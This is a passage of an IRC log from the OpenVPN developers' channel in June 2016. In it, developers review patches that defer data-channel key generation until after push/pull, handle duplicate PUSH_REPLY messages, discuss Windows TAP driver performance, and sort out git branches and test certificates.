minute? 12:02 <@syzzer> yes, sure 12:04 <@cron2> 4/5 - what happens in p2p mode? If I understand the code right, session key negotiation is now done (exclusively?) in tls_session_update_crypto_params(), when a PUSH_REQUEST/PUSH_REPLY has been exchanged. So what happens if no push is happening? 12:05 <@cron2> (or "somewhere between 3/5 and 4/5", finding corner cases :) ) 12:05 <@syzzer> there *should* be a "if this push/pull?" check around the old key generation, let me see 12:06 <@cron2> this might be in 3/5, which I did not really read through yet ("my head spins") 12:07 <@cron2> I see only one call to tls_session_update_crypto_params(), but maybe the stuff that happens *inside* that function is done always? 12:07 <@syzzer> yes, 3/5 has "if (!session->opt->server && (!session->opt->pull || ks->key_id > 0))" around the old call 12:09 <@cron2> there it is 12:09 <@cron2> what is the ks->key_id>0 doing there? 12:09 <@cron2> ah 12:09 <@syzzer> we only postpone keygen on the first renegotiation 12:09 * cron2 should learn to scroll up to the comment 12:10 <@syzzer> hehe, you see I kind of expected this question ;) 12:10 <@cron2> ok, so in p2p mode, both ->server and ->pull are false, and it will do this for both sides 12:10 <@syzzer> (and I changed the doxygen of ks->key_id to make this 'magic' easier to find) 12:11 <@cron2> then next question is more fundamental - "how does this work at all"? 12:11 <@syzzer> yes, or only --pull is false (for p2p tls-client) 12:12 <@cron2> this is more a crypto question than a specific code question - I do understand TLS (to some extent), but I consider this as a black box "you fill keys and certs into a magic box, and out comes a transparent end-to-end channel with auth+crypto" 12:13 <@syzzer> so what we do is postpone the key generation (which is dependent on the key type) until after pull/push 12:13 <@cron2> so how is the data channel key generated from that? 12:14 <@syzzer> let me see, that should be documented *somewhere* 12:16 <@syzzer> ah, https://delft.syzzer.nl/openvpn-doxygen/key_generation.html 12:16 <@vpnHelper> Title: OpenVPN: Data channel key generation (at delft.syzzer.nl) 12:18 <@cron2> so these are special messages on the control channel? 12:18 <@syzzer> yes (and these patches don't change anything about that) 12:19 <@cron2> true, but since I never looked into this before, claiming "this patch set is good!" (or not) is plain impossible 12:19 <@syzzer> I just postpone deriving the actual keys from the random 12:19 <@cron2> so, trying to understand the larger framework 12:19 <@cron2> so the random is exchanged always, and right at the beginning? 12:19 <@syzzer> sure, np, just trying to fill in possible blanks :) 12:19 <@syzzer> yes 12:20 <@ecrist> cron2: did your new goo hit, yet, or should I wait on another -devel package update for freebsd? 12:21 <@cron2> I'm not sure I want to understand generate_key_expansion() today, but since that and the exchanging of random did not change, I should't need to 12:21 <@cron2> ecrist: syzzer's the man with the great stuff, and it's not there yet :-) - but you could do a port respin, as plaisthos' timeout unification is in (since yesterday) 12:22 <@cron2> syzzer: so generate_key_expansion() needs to know the cipher (and auth?) type, to build "the right key", based on "client+server randomness" 12:22 <@syzzer> cron2: yes 12:22 <@cron2> is there magic, or could it be as simple as concat(client_random+server_random)=64 byte key material? 12:23 <@cron2> (which would not be overly useful if you only want 128 bit, as that would all be client_random then... so wrap around a md5() or so) 12:23 <@ecrist> cron2: I'll wait one more week, then. My system auto-generates tarballs on Sunday. It's easiest if I use those. 12:23 <@syzzer> it uses the tls1 prf to derive keys from the random seeds 12:23 <@cron2> ecrist: if the tarball is based on f2134b7bea37, go for it 12:24 <@cron2> syzzer: "prf"? 12:24 <@cron2> pseudo-random function? 12:24 <@syzzer> that ensures that even if one of the sources has a bias, the keys are still uniform random 12:24 <@syzzer> yes 12:24 <@cron2> yeah, it says "seed", so, makes sense 12:24 <@cron2> how's the next generation key generated? "another exchange" or "just roll the prf()"? 12:24 <@syzzer> another exchange 12:25 <@ecrist> indeed, it is, so I'll respin it 12:25 <@syzzer> so, fresh random up and down, new prf() call 12:25 <@cron2> so the prf() is basically only called once per seeding, to "stir the bits" 12:25 <@syzzer> yep 12:26 <@cron2> what would happen if you happen to call generate_key_expansion() twice, like, due to PUSH_REPLY arriving twice? 12:26 <@cron2> if I understand this correctly, it should arrive at the same key material? 12:26 <@cron2> (if the server is slow, the client can send PUSH_REQUEST a second time - which does not make much sense over a reliable channel, but we still do) 12:27 <@cron2> brb, need to sing good night 12:28 <@syzzer> nope, because tls_session_update_crypto_params() does "CLEAR (*ks->key_src);" 12:28 <@syzzer> so if we can actually trigger that code twice, that would be problem 12:32 <@plaisthos> sending push_reply twice happens 12:32 <@plaisthos> that was one of the 2.3-last-rc bugs 12:35 <@syzzer> ok, I'll add a check for that 12:35 <@cron2> oh, indeed 12:35 <@cron2> commit 2e3b853dd1070435d60a1f11ff4364631c83d6a9 12:35 <@cron2> Author: Gert Doering <gert@greenie.muc.de> 12:35 <@cron2> Date: Tue Dec 25 13:41:50 2012 +0100 12:35 <@cron2> Fix client crash on double PUSH_REPLY. 12:35 <@syzzer> (fortunately we have c->c2.tls_multi->session[TM_ACTIVE].key[KS_PRIMARY].crypto_options.key_ctx_bi.initialized (sic!) to keep track of it) 12:35 <@cron2> ... (which only happens under very particular circumstances). 12:36 <@cron2> syzzer: Gesundheit! 12:36 <@cron2> Bug tracked down by Arne Schwabe <arne@rfc2549.rrg>. 12:36 <@cron2> :) 12:36 <@cron2> (why does it have a .rrg there? fat fingers everyhwere) 12:40 <@syzzer> can a server also send two push reply's? 12:40 <@syzzer> oh, that's what the commit msg above says :') 12:41 <@cron2> I *think* this might only happen with old servers (2.2.x), as I remember a NO_SOUP_FOR_YOU patch that suppressed double PUSH_REPLY - but it *can* happen 12:43 <@syzzer> ok, but both servers and clients can resend push_request/push_reply? 12:43 <@cron2> yes 12:43 <@syzzer> ok, I'll add checks in both cases 12:43 <@cron2> the client resends if the server is too slow, and the server *used* to send one reply for each incoming request 12:44 <@cron2> I think we're no longer sending more than one reply, but if a new client talks to an old server that might happen 12:45 <@cron2> 5/5 might have an interesting caveat if the client just connects and is happy, never sending a PUSH_REQUEST 12:45 <@cron2> (which, I think, is legitimate - "I have all the config I need, so why ask") 12:46 <@syzzer> yes, that won't work 12:46 <@syzzer> is there an easy way to detect that? 12:47 <@cron2> "it is sending us data channel packets" 12:47 <@ecrist> what happened to --disable-password-save 12:47 <@cron2> ecrist: gone with the wind (it's always-on now) 12:47 <@ecrist> danke 12:47 <@cron2> ecrist: one set of #ifdefs gone 12:48 <@cron2> syzzer: I hope James will attend, so we can ask him how this is handled in 3 12:48 <@syzzer> cron2: hm, that is tricky 12:49 <@cron2> syzzer: "triggering on data channel packet" does not sound like a good plan. The alternative I see is "keep the random state around", but this is not good crypto thinking ("keep it around until ... what?") 12:50 <@cron2> (keep random state = we can call generate_key_expansion() multiple times if needed) 12:50 <@ecrist> this mbedtls rename is a minor pain 12:51 <@syzzer> ecrist: hehe, yep, now imagine maintaining the code that uses mbedtls :p 12:52 <@syzzer> cron2: we might be able to first generate keys based on the default settings, but that makes keeping track of the 'initialized' thing trickier... 12:53 <@syzzer> and will cause lots of 'HMAC verification failed' log lines when clients are sending data channel packets before pull/push completed 12:53 <@syzzer> and yes, clients will do that, send packets before pull/push completes 12:54 <@cron2> syzzer: a client that *does* pull won't send data packets (I think) until its done - it won't initialize the tun if, so nothing to send 12:54 <@cron2> really? 12:54 <@cron2> mmmh, how do I test that... 12:55 <@syzzer> yes, as soon as it somehow knows 'this stuff should go over the data channel', and keys are initialized (which they are, on older clients, before pull/push completes) 12:55 <@cron2> I thought it would only open the tun device when pull is done, but maybe that differs if --ifconfig is configured in the client config 12:55 <@syzzer> for example, but also 'ping-restart' ping msgs will start immediately 12:56 <@cron2> oh 12:57 <@cron2> what about 12:57 <@cron2> initialize the key based on default parameters 12:58 <@cron2> if the client decides to send a push_request, or the server receives a push_request -> set "initialized" back to "0", so "no packets get sent, and incoming packets get a proper error message" 12:58 <@cron2> when push_reply is done, reset to "initialized=1" 12:58 <@cron2> still leaves the question "how long to keep random state" (on the server, the client would know whether it is going to send PUSH_REQUEST or not) 12:58 <@syzzer> yes, that's possible, and would at least reduce the number of 'bad HMAC' log lines 12:59 <@cron2> or keep the client as it is, "if (pull && ncp) { postpone_until_push_reply(); }" 12:59 <@syzzer> client side is fine like it is now, I think 12:59 <@cron2> let's move over to -meeting... 12:59 <@mattock> almost meeting time 12:59 <@syzzer> it knows whether it is going to pull 12:59 <@syzzer> ok 12:59 <@cron2> right 13:00 <@mattock> now :D 13:13 <@ecrist> cron2: bugzilla 210259 --- Day changed Tue Jun 14 2016 14:23 <@syzzer> cron2: do_deferred_options() is also called from multi_connection_established(), so the if(options->pull) is needed there 14:26 <@syzzer> also, do_up() is ran when !options->pull 14:47 <@syzzer> (so moving the code to do_up() would still need the check) 14:49 <@cron2> no :) 14:49 <@cron2> oh 14:49 <@cron2> mmmh 14:50 <@cron2> in that case, I withdraw my comment... dunno why I missed that call 14:51 <@syzzer> just claim that grep was lazy ;) 14:51 <@cron2> do_up() is ok, because in the !pull case it's called with "pulled_options = false" and will not do do_deferred_options() 14:51 <@cron2> but anyway, point is moot... 14:52 <@cron2> (I can see why James wanted to write a new and small and nice v3 :) ) 14:52 <@syzzer> ok, so then all that's left are the rebase errors. anything else or shall I send a v4? 14:57 <@cron2> that's all I found, but I'm not claiming there is no more... maybe plaisthos wants to take another look... 15:00 <@syzzer> ok, I'll wait a bit. The rebase errors are a bit dull (3/5 indeed won't compile), but are otherwise totally harmless. 15:01 <@syzzer> so, different patch for you ;) 15:09 <@syzzer> calling it a day again, good night :) 15:37 <@vpnHelper> RSS Update - gitrepo: mbedtls: don't set debug threshold if compiled without MBEDTLS_DEBUG_C <https://github.com/OpenVPN/openvpn/commit/b63f98633dbe2ca92cd43fc6f8597ab283a600bf> 15:43 <@vpnHelper> RSS Update - tickets: #691: Common name variable overwritten <https://community.openvpn.net/openvpn/ticket/691> --- Day changed Wed Jun 15 2016 01:27 <@cron2> whee 01:27 <@cron2> http://ark.intel.com/products/79483/Intel-QuickAssist-Adapter-8950 01:27 <@vpnHelper> Title: Intel QuickAssist Adapter 8950 Specifications (at ark.intel.com) 01:28 <@cron2> we need to teach OpenVPN to use these... 50 gbit/s of crypto throughput for US$700 01:55 <@syzzer> cron2: don't expect too much of that - it will be a /dev/crypto type device, so extra kernel calls for each packet (and no GCM support) 01:55 <@syzzer> I'm guessing a modern Intel CPU with AES-NI will perform a lot better 01:57 <@cron2> no idea what top crypto bandwidth such a CPU could achieve 01:57 < valdikss> So guys, RuToken, a company who makes USB dongles/smart cards, "made" a RuToken VPN yesterday. It's available as a software and as a small box with Ethernet and USB ports. 01:58 <@cron2> syzzer: the accelerator sounds interesting if you have lots of parallelized crypto stuff, like a multithreaded OpenVPN :-) 01:58 < valdikss> They say it's so secure that other VPN solutions are just unmatched 01:59 <@cron2> if there is OpenVPN inside, of course! 01:59 < valdikss> Yes! Software version is just an OpenVPN with custom PKCS12 library, and box version is a Ubuntu with custom APT repo. 01:59 < valdikss> And it costs ≈$150 02:00 < valdikss> PKCS11* 02:00 < valdikss> https://rutokenvpn.ru/ 02:00 <@vpnHelper> Title: Рутокен VPN (at rutokenvpn.ru) 02:00 < valdikss> Oh, it's actually more than ≈$200 02:04 < valdikss> And the GUI for Windows is written in Node.JS or something 02:05 < valdikss> rutokenvpnclient.exe is 59MB, and there are libraries like libGLESv2.dll, libEGL.dll, ffmpeg.dll, d3dcompiler_47.dll 02:07 < valdikss> Forgot to remove OS X exe from Windows installer 02:07 <@cron2> valdikss: have you seen my mail regarding test results for lev__'s patches? 02:08 <@cron2> (sent a few days ago) 02:09 < valdikss> cron2: yes, sorry, I almost forgot about it. I've tested this patch some months ago on Linux, it worked fine. Will try to test it today on Windows. 02:29 <@cron2> cool. Another step towards 2.4 :) 04:19 < valdikss> syzzer: OpenVPN is slow because tun is slow 04:20 < valdikss> syzzer: overhead of context switching is so high that I can't achieve more than a gigabit even without enycriotn 04:20 < valdikss> syzzer: encryption* 04:20 < valdikss> syzzer: but if you set mtu to higher value like 12000, you'll easily get 5 gbit/s with encryption 04:21 < valdikss> syzzer: Newer linux kernel versions added tun offloading support, and there are some optimizations on read/write calls available to read/write multiple packets at one call. 04:21 < valdikss> syzzer: I'll see what can be optimized there 04:36 <@syzzer> valdikss: yes, I know. Using a /dev/crypto 'accelerator' would cause even more context switches... 04:37 <@syzzer> anyway, someone diving into what we can optimize wrt tun would be very useful! 05:18 < valdikss> https://www.kernel.org/doc/Documentation/networking/checksum-offloads.txt 05:18 < valdikss> tinc project is also interested in implementing offloading 09:53 <@cron2> hah 09:54 * cron2 is using openvpn for the first time in weeks and immediately wants pull-filter :) 09:58 <@cron2> looking at openvpn --version - should we update this? 09:58 <@cron2> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> 10:23 <@ecrist> yes 10:23 <@ecrist> cron2: the build should automatically change the second year to the current one 10:55 <@cron2> ecrist: interesting idea :) 10:56 <@ecrist> cron2: I generally roll that in to all my copyright notices now, when I can. 10:57 <@ecrist> the first year is static, the following one doesn't need to be. 11:41 <@vpnHelper> RSS Update - tickets: #692: OpenVPN should have a --nopull option to generically reject pushed options <https://community.openvpn.net/openvpn/ticket/692> 11:52 <@syzzer> hah, I know the answer to that one! 14:49 <@cron2> syzzer: you do? Let me assign the ticket to you :-) --- Log closed Wed Jun 15 18:05:02 2016 --- Log opened Mon Jun 20 06:41:48 2016 06:41 -!- Irssi: #openvpn-devel: Total of 23 nicks [7 ops, 0 halfops, 0 voices, 16 normal] 06:41 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 06:41 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 07:29 <@mattock> does https://openvpn.net work for you guys? 07:29 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net) 07:29 <@ecrist_> yup 07:29 <@mattock> hmm 07:29 <@ecrist_> and apparently vpnHelper 07:29 <@ecrist_> :) 07:30 <@mattock> interesting 07:30 <@mattock> I guess there's a glitch at cloudflare then 07:30 <@mattock> because webserver logs show "normal" traffic, load is not overly high, yet from here CloudFlare claims it can't reach the webserver 07:37 <@cron2> mattock: works for me. v4-only though. Please be fixing that. 07:38 <@mattock> I'll mention the v4-only thingy to those who should be fixing it 07:55 <@cron2> thanks :) 08:53 -!- luckman212_ is now known as luckman212 12:14 -!- You're now known as ecrist 13:09 <@cron2> plaisthos: your ACK for James 09/10 is somewhat amazing, given that the patch does not apply :-) 13:09 <@cron2> (and did not apply in March, given that Selva changed the surrounding code in December...) 13:35 <@vpnHelper> RSS Update - gitrepo: Add documentation for http-proxy-user-pass option <https://github.com/OpenVPN/openvpn/commit/ec0c1dcabd1d31cd4bd452db6d099b4df0739778> || Added directive to specify HTTP proxy credentials in config. <https://github.com/OpenVPN/openvpn/commit/c9a35a20812aafdacc3682a0379f52126bd567ae> --- Day changed Tue Jun 21 2016 02:11 <@cron2> mornin' 02:13 <@mattock> morning 03:09 <@plaisthos> cron2: err, I have it in my own icsopenvpn branch since then, so either I probably fixed it too 03:12 <@cron2> plaisthos: likely :) - anyway, it's actually a really trivial conflict, and the surrounding *logic* hasn't changed in that regard, so it's fine... 10:11 <@cron2> *grumble* james 10/10 looks nice and trivial, but does not apply, because plaisthos' timeout patch got in the way 11:24 <@dazo> mattock: Fedora 24 got released now ... could we spin up a buildbot with that? It got GCC 6, which might give us some new nice explosions 13:18 <@mattock> dazo: "nice explosions" :) 13:18 <@mattock> yeah, I can set one up 14:03 <@dazo> mattock: Great! I know they had some delays in releasing F24 just because of "nice explosions" caused by moving to GCC 6 :) 14:36 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 15:48 <@cron2> I don't expect much surprise... our code survives clang and MSVC :-) 21:24 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Wed Jun 22 2016 05:36 <@plaisthos> cron2: yeah but I am wary of 10/10 05:37 <@plaisthos> cron2: it looks small but I think It also will do the initial connect without user/pass/chroot donwgrade 05:53 <@cron2> plaisthos: right. Should be worried? 05:57 <@cron2> "we" be worried 05:58 <@cron2> there's no SSL or crypto or exec() in there, but there is at least getaddrinfo()... mmmh. 07:29 <@plaisthos> the original idea of the split between the init_1 and init_2 was to seperate the parts that need privileges and that do not need them 07:30 <@plaisthos> I may have broken the bind with chroot case in the dual socket patches 07:30 <@d12fk> cron2: so my findings about this ipv6/multiple adapters thing is that windows is indeed IFCONFIG_WHEN_OPEN_TUN 07:31 <@d12fk> you'll find netsh_ifconfig commands in open_tun() and do_ifconfig() 07:32 <@d12fk> so what i'll do now is to call do_ifconfig from within open_tun for the windows case 07:33 <@d12fk> things should work judging from the code 09:31 <@cron2> plaisthos: with james' patches it's a bit hard to see whether they are for master or release/2.3... so "dunno whether you have broken, or whether it was broken already in 2.3.x" 09:37 <@d12fk> cron2: is the interactive service stuff merged into master already? 09:38 <@d12fk> oh i see it, nevermind 09:43 <@cron2> d12fk: of course it is :-) - you should look more often! 2.4 is really getting close :-) 09:47 <@d12fk> yeah lost track of recent developments 09:48 <@d12fk> "recent" =/ 09:59 <@d12fk> open_tun for windows is a quite overwhelming mess 10:08 < Thermi> A comment from the side: The whole Windows TAP driver code, the part in userspace, too, is a big giant mess. 10:09 <@dazo> Thermi: the new tap6 driver, or the old one? or both? 10:09 < Thermi> the "new" one 10:10 < Thermi> (the less old one) 10:10 <@dazo> we don't mind critique ... but it would be good if you could elaborate more what should be improved, and even better if you would provide patches to improve the current state 10:11 <@cron2> yeah 10:12 <@d12fk> is there a new tap driver? 10:12 <@d12fk> or do you mean tap-windows6? 10:12 <@dazo> yeah, tap-windows6 is the "new" one 10:12 < Thermi> crap, wrong window ctrl-w'd. 10:12 <@dazo> :) 10:13 <@dazo> ctrl-w isn't as bad as typing passwords in the wrong window ;-) 10:13 < Thermi> Regarding the tap driver code: Remove the old legacy code paths, possibly completely reimplement it with a proper tun device implementation (without proxy/fake ARP, if possible. That would get rid of the need for telling the driver a fake gw). 10:13 < Thermi> Been there, done that. But I don't reuse passwords 10:13 <@dazo> :) 10:13 < Thermi> Regarding openvpn directly: Implement a proper linked list "class" with proper methods for handling them. 10:13 < Thermi> You're duplicating the code for inserting a member all over the place 10:14 <@d12fk> the driver is dead slow, that is my main concern currently 10:15 <@d12fk> has anyone a notion of why that is? 10:15 < Thermi> One of the reasons for that could be, that you're only enquing exactly one write in the buffer 10:15 < Thermi> but the code on the driver side has a while() looop 10:15 < Thermi> so a lot of context switches happen 10:15 < Thermi> You can obviously improve that specific use case by enquing several packets at the same time 10:15 < Thermi> that way the driver would stay in the while-loop much longer 10:16 < Thermi> But I think that's only like 1% of the performance problem. :) 10:16 <@d12fk> you never know until you start measuring (the right thing) 10:17 < Thermi> Exactly, and I didn't do any measuring. I'm currently getting strongswan ready for using the tap driver. 10:17 <@d12fk> o_O 10:18 < Thermi> The only relevant parts are the registry crap and OpenFile/ReadFile/WriteFile... 10:18 <@d12fk> in a project about slowing down ipsec? =) 10:18 < Thermi> Oh, and events. 10:18 < Thermi> No, in a project getting a functional, groomed IKEv1/IKEv2 client ready for Windows. 10:19 <@d12fk> nice indeed. with a faster tap driver that is. 10:19 < Thermi> If you start a new driver, tell me, please. 10:20 <@d12fk> I wouldn't know where to start, not so much a windws driver guy. 10:20 < Thermi> me neither. 10:20 <@d12fk> nobody seems to be that guy 10:20 < Thermi> But I guess you can start by looking at the existing code. 10:20 < Thermi> I did.- 10:21 < Thermi> The proper things to do are obviously: Integrate a programmatic way to create/delete tun/tap devices 10:21 < Thermi> implement proper tun device support 10:21 < Thermi> drop old features 10:21 <@d12fk> yeah i did as well, but never had the nerves to read up one how to properly design the interface to userland in windows 10:21 < Thermi> write proper documentation 10:22 <@d12fk> you can create new adapters easily, that shouldn't be a problem 10:22 < Thermi> I probably overlooked the code that does that in openvpn 10:22 <@d12fk> just reenact what devcon is doing when it is called the way the scripts call it 10:23 <@d12fk> openvpn cannot do it but the distribution includes tapinstall, which is just a renamed devcon 10:23 < Thermi> Exactly that's the issue I have. ;) 10:23 < Thermi> I need to do it in C and fiddling around with devcon on command line (or disecting it!) is really ugly. 10:24 <@d12fk> devcon source code is in the sdk iirc 10:24 <@d12fk> or ddk for that matter 10:24 <@d12fk> or whatever they call it nowadays 10:25 < Thermi> Doesn't matter, I get you. 10:26 <@d12fk> please make openvpn auto-create adapters on demand 10:26 <@d12fk> one of the features i never came around implementing 10:26 < Thermi> That will wait until I ... a) am done with strongswan, b) done with my thesis, c) get enough motivation to do that for openvpn. 10:26 <@d12fk> if you're looking for a job let me know =) 10:27 < Thermi> You're in the position to make that offer? 10:29 <@d12fk> no but i can try talking someone into something =) 10:31 <@d12fk> you'd had to relocate to karlsruhe germany though, so it is likely not an option anyways 10:31 < Thermi> Ha, that's not very far away from my place. 10:31 <@cron2> Thermi: where are you located? 10:31 < Thermi> I live near Offenburg 10:31 <@d12fk> oh well, then come by and have a coffee with me, i'm originally from oberkirch ;-) 10:32 <@cron2> lol 10:32 < Thermi> That's like next door 10:32 <@d12fk> true 10:32 < Thermi> Where are you currently located? 10:32 <@d12fk> karlsruhe 10:32 < Thermi> Ah, okay. 10:33 <@d12fk> coffee offer stands 10:34 < Thermi> I'll consider it 10:35 < Thermi> Heh, while we're already writing rewriting the tap driver, why not reimplement openvpn on libstrongswan basis? :P 10:38 <@dazo> Thermi: the OpenVPN 3 code base (which will be released at some point, if it it haven't happened already) is much more flexible written to be more like a library (the command line tool is/will be just a "wrapper" for the library, iiuc) 10:38 <@dazo> but written in C++ 10:38 < Thermi> dazo: I guess it's a complete reimplementation of openvpn? What's different? 10:42 <@cron2> thermi: well, libstrongswan would do IPSEC, which we don't... 10:43 < Thermi> cron2: Nah. libstrongswan mostly provides general things like tun device handling, threading, collections, configuration and asn1 stuff. 10:43 <@cron2> ic 10:44 < Thermi> Obviously, you would have to strip or rewrite some parts, but you'd have a solid basis for implementing multi threaded openvpn with a nice plugin architecture. 10:44 < Thermi> :P 10:44 <@dazo> Thermi: yeah, it's a complete rewrite but keeps the OpenVPN wire protocol, so it is compatible with OpenVPN 2.x client/servers 10:45 <@dazo> Thermi: it's a brand new redesign, so "what's different" is from a code perspective "everything" 10:45 < Thermi> dazo: And wrong a function perspective? 10:47 <@dazo> Feature wise it behaves like the old one .... probably more efficiently though. The OpenVPN Connect apps for iOS and Android are based on the OpenVPN 3 client implementation 10:47 <@dazo> It's a very long time since I peeked at the new code, so hard to be more concrete 10:48 <@cron2> it does not implement most of the more obscure options 11:50 <@mattock> oops 11:50 <@mattock> I accidentally pushed a few doc fixes to OpenVPN/OpenVPN instead of mattock/OpenVPN 11:51 <@mattock> any opinions of whether to do a "git reset --hard <commit-id>" and "git push -f"? 11:51 <@mattock> alternatively just let those slip in? 11:51 <@cron2> send them to openvpn-devel and explain what happened, done 11:51 <@mattock> well, actually they're luckily in a separate branch 11:51 <@mattock> docfixes 11:52 <@cron2> in that case, no harm done :) 11:52 <@cron2> if that branch wasn't there before, just kill the branch 11:53 <@mattock> will that cause issues for people who happened to clone the repo in between? 11:55 <@mattock> I'll send the patches to list in any case 11:59 <@dazo> mattock: if it's a brand new branch, that should not cause any real issues 11:59 <@dazo> git might complain lightly if someone pulled down the git tree and then the branch is not available any more 12:00 <@dazo> but most git users will either ignore it, as it's not the a commonly used branch ... or they'll ask 12:00 <@dazo> (brand new branch in this context is new to the remote where you pushed it) 12:04 <@mattock> will a "git branch -d docfixes && git push --prune" do it? 12:04 <@mattock> --prune should delete branches that don't have local counterparts 12:09 <@mattock> I don't feel like playing too much with Git in the main repo :P 12:15 <@mattock> uh, need to fix this tomorrow, leaving the train soon 12:45 <@cron2> mattock: please do not use automatics - using "git push :docfix" should do the trick ("empty local to remote branch") 12:46 <@cron2> --prune sounds like "all branches are gone then" 14:04 * dazo see cron2 is getting a firm grip on git ;-) 14:05 <@dazo> anyone who can share some knowledge on how tls_session and tls_multi are related? ... that is, does it exist one tls_multi object per client? 15:11 * cron2 points at syzzer (or james) 16:17 < Thermi> Can I establish communications with OpenVPN Technologies, Inc. over this channel? It's about tap-windows.h and licensing. 16:18 < Thermi> Long story short: I want to ship the includes from that file with strongswan, but to be able to get the stuff into the project, the code has to go under the MIT license 16:21 < Thermi> Alternatively, I could just cover the code in ifdefs, tell people to add the path to tap-windows.h to the CFLAGS variable and add an option to ./configure to enable openvpn tap driver support... 16:21 < Thermi> I think you can see the more attractive option# 16:52 < Thermi> Oh well, writing to the copyright holder. :) --- Day changed Thu Jun 23 2016 01:50 <@mattock> I cheated a bit and used the GitHub interface for deleting the branch, although "git checkout master; git branch -d docfixes; git push origin --delete docfixes" seemed to have the desired effect in my own repo also 02:09 <@cron2> is it intentional that you removed the link to the tap-windows source? 03:39 <@mattock> yes 03:40 <@mattock> the link is already elsewhere in the file 03:40 <@cron2> ic, in that case removal makes sense 03:40 <@mattock> (in the QUICKSTART section) 04:49 <@vpnHelper> RSS Update - gitrepo: Clarify which Windows versions require which TUN/TAP driver <https://github.com/OpenVPN/openvpn/commit/3f0edd8a5a51774775dcda88064ed99fd0bf51d8> || Use an up-to-date easy-rsa URL on the man-page <https://github.com/OpenVPN/openvpn/commit/d16ea8ba5ab12b211ba7eb15ef8951ba1f9d4f19> || Mention tap-windows6 in INSTALL file <https://github.com/OpenVPN/openvpn/commit/ac341e6dc63273fc3864357c60a5c9939c8105ce> 06:38 <@cron2> plaisthos: could you resend "remove http-proxy-retry..." (v2) with more verbose commit + copy-paste-fixes? 06:55 <@vpnHelper> RSS Update - gitrepo: Fix management-external-cert option parsing error <https://github.com/OpenVPN/openvpn/commit/d023fb661cca578dc977c9bd5e7d681de15e38a3> 07:17 <@d12fk> cron2: ok fixed the adapter issue, patch is coming 07:30 <@plaisthos> cron2: will do later 07:35 <@cron2> d12fk: should I be scared? 07:48 <@d12fk> no i kept it to a minimum, changed from before to after open_tun plus a mini fix 07:49 <@d12fk> cron2: do we have atest suite covering all the different windows modes? regression potential is given with the change from befor eto after 08:25 <@cron2> d12fk: unfortunately not. need to see if I can somehow make t_client or something similar work 13:03 * cron2 pokes valdikss 15:28 -!- Netsplit *.net <-> *.split quits: @plaisthos, @syzzer --- Day changed Fri Jun 24 2016 00:27 < valdikss> cron2: me 01:13 <@cron2> valdikss: waiting for test results :) 01:34 <@vpnHelper> RSS Update - gitrepo: Return process id of openvpn from interactive service to client <https://github.com/OpenVPN/openvpn/commit/e4c9bbe6c367132c8570fe747d85a6075ff04245> 02:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:38 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:41 <@cron2> syzzer: welcome back :) 05:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:46 <@plaisthos> cron2: I sent a v2 05:48 <@cron2> since you're using the same text now - maybe move into a common if( streq() || streq() ) clause? 05:49 <@cron2> (plus a minor typo in the commit message - "compeltely" - but I can fix that one on the fly) 07:24 <@plaisthos> cron2: I used the same text before, just wrongly :P 07:25 <@plaisthos> I will fix that and sent a v3 07:44 <@dazo> plaisthos: your commit message should be used as an example of how to do it properly! Thanks a lot! :) 07:53 <@dazo> cron2: I'm about to send an ACK to plaisthos patch as well, unless you've already processed it 07:53 <@vpnHelper> RSS Update - gitrepo: Remove http-proxy-retry and socks-proxy-retry. <https://github.com/OpenVPN/openvpn/commit/2011b8324feca30df753a4a0a116d37c04742520> 07:54 <@dazo> you just did :) 07:54 * dazo just waited for a compile test :) 07:54 <@cron2> I waited for "make check" to succeed... :-) 07:54 <@cron2> dazo: am I right in assuming you have no working t_client setup right now? 07:54 <@dazo> Let me double check 07:55 <@cron2> (we had to roll new CA keys due to mbedtls refusing anything <2048 bit RSA, and I'm not sure you ever got the new set of client key+crt+CA cert) 07:56 <@dazo> oh right! Yeah, that might be very much the issue ... I remember there were something failing with 'make check', but didn't have time to dig into if it was my setup or not 07:56 * cron2 <- to blaim 07:56 <@dazo> :) 07:56 <@dazo> can you provide new certs for me? 07:56 <@cron2> is 1024D/C0517EBA still your current PGP key? 07:56 <@dazo> I have a new one 07:57 <@dazo> 4096R/0x755A3AB945307622 fingerprint = 690D B606 E838 182F A8F9 018C 755A 3AB9 4530 7622 07:57 <@dazo> (this one is done properly with sub keys :)) 07:57 <@cron2> *proper* RSA key lenght! 07:57 <@dazo> that too :) 07:58 <@cron2> gpg stinks 07:58 <@cron2> expires: 2036-03-23 07:58 <@cron2> someone is optimistic about future cryptography :) 07:58 <@dazo> heh 07:59 <@dazo> I believe the sub key is much shorter though, but the master key is lasting long :) 08:00 <@cron2> dazo-git-sanity-tests is it, right? 08:00 <@dazo> ?? 08:00 * dazo checks 08:01 <@dazo> Yeah, I have a CSR laying here even 08:02 <@dazo> https://paste.fedoraproject.org/384103/66773301/raw/ 08:05 <@cron2> security stinks 08:05 <@dazo> security itself or those managing the security? :-P 08:06 <@cron2> the whole "how to transfer the key from the CA machine to where I can send it to you", because of course the CA machine has no access (and vice versa) to my mail client machine, so this all goes through an intermediate hop 08:06 * cron2 should be able to just paste a password here, that would be so much more convenient :-) 08:07 <@dazo> heh 08:08 <@cron2> let's look what happens next... 08:11 <@cron2> dazo: you should have mail encrypted+signed now 08:11 <@dazo> I've been playing a bit with certmonger/dogtail (which are projects included in FreeIPA) ... once getting a grip of it, it's not so bad ... it automates cert-management, can do automatic renewal ... and all access to the CA server (IPA server) is authenticated with kerberos tickets for the system itself 08:11 <@dazo> yeah, got it! 08:12 <@dazo> looking very good! 08:12 <@cron2> good 08:13 <@cron2> easy-rsa isn't that bad, but "secure access to machines, who permits who to connect *at all*, who can copy where" business is annoying 08:13 <@dazo> true 08:18 <@plaisthos> yeah! OpenVPN for Android local commit base is done to three patches of which one is the Android Makefiles and other is unsed google breakpad code :) 08:18 <@cron2> so, new certificates for james :) (he sent a mail two weeks ago and was wondering...) 08:22 <@dazo> plaisthos: so most of your modifications are now upstream? 08:22 <@plaisthos> dazo: yes 08:23 <@dazo> 